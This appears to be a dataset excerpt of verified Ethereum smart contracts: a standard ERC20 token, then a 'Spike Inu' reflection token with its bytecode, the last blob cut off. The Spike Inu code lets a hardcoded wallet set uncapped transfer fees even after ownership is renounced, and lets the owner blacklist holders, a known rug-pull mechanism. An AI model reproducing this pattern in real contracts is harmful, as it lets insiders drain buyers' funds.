"confidence": "High"}]}} | 183 |
0xb244faca76af19edf4cb513c3f4d4be89d47eff3 | pragma solidity ^0.4.25;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
/**
* @title IPChainToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `ERC20` functions.
*/
contract IPChainToken is ERC20 {
string public constant name = "IPChainToken";
string public constant symbol = "IPChain";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806339509351146102c057806370a082311461032557806395d89b411461037c578063a457c2d71461040c578063a9059cbb14610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106b3565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bd565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a78565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a89565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8e565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc5565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d46565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7d565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061119d565b6040518082815260200191505060405180910390f35b6040805190810160405280600c81526020017f4950436861696e546f6b656e000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105c357600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d357600080fd5b610824826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610acb57600080fd5b610b5a82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600781526020017f4950436861696e0000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d8357600080fd5b610e1282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fcc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561100857600080fd5b611059826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ec826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561123657600080fd5b82840390508091505092915050565b600080828401905083811015151561125c57600080fd5b80915050929150505600a165627a7a72305820188026ca7d1f671b3e51c4bca4e34642ba393bb5faf1cde0ae9715a07f727d730029 | {"success": true, "error": null, "results": {}} | 184 |
0x71d88d803603dfcdc891076d56566a7c48fdbe29 | /**
*Submitted for verification at Etherscan.io on 2021-11-21
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SpikeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xE8fCE8EF65543960e57adaC0Bc99468c4362bF32);
address payable private _feeAddrWallet2 = payable(0xE8fCE8EF65543960e57adaC0Bc99468c4362bF32);
string private constant _name = "Spike Inu";
string private constant _symbol = "SPIKE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152685370696b6520496e7560b81b60208201525b60405161015f919061187b565b60405180910390f35b34801561017457600080fd5b50610188610183366004611702565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116c1565b6103e6565b3480156101ed57600080fd5b506102016101fc36600461164e565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046117fa565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f36600461164e565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611834565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b506040805180820190915260058152645350494b4560d81b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611702565b610605565b34801561032b57600080fd5b5061020161033a36600461172e565b610612565b34801561034b57600080fd5b506102016106a8565b34801561036057600080fd5b506102016106de565b34801561037557600080fd5b50610201610384366004611834565b610aa7565b34801561039557600080fd5b506101b36103a4366004611688565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610afe565b5060015b92915050565b60006103f3848484610c22565b610445843361044085604051806060016040528060288152602001611a67602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f05565b610afe565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118d0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118d0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f3f565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fc4565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c22565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118d0565b60005b81518110156106a45760016006600084848151811061066057610660611a17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c816119e6565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106c857600080fd5b60006106d330610518565b905061051581611048565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610479906118d0565b600f54600160a01b900460ff16156107625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a230826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610813919061166b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa1580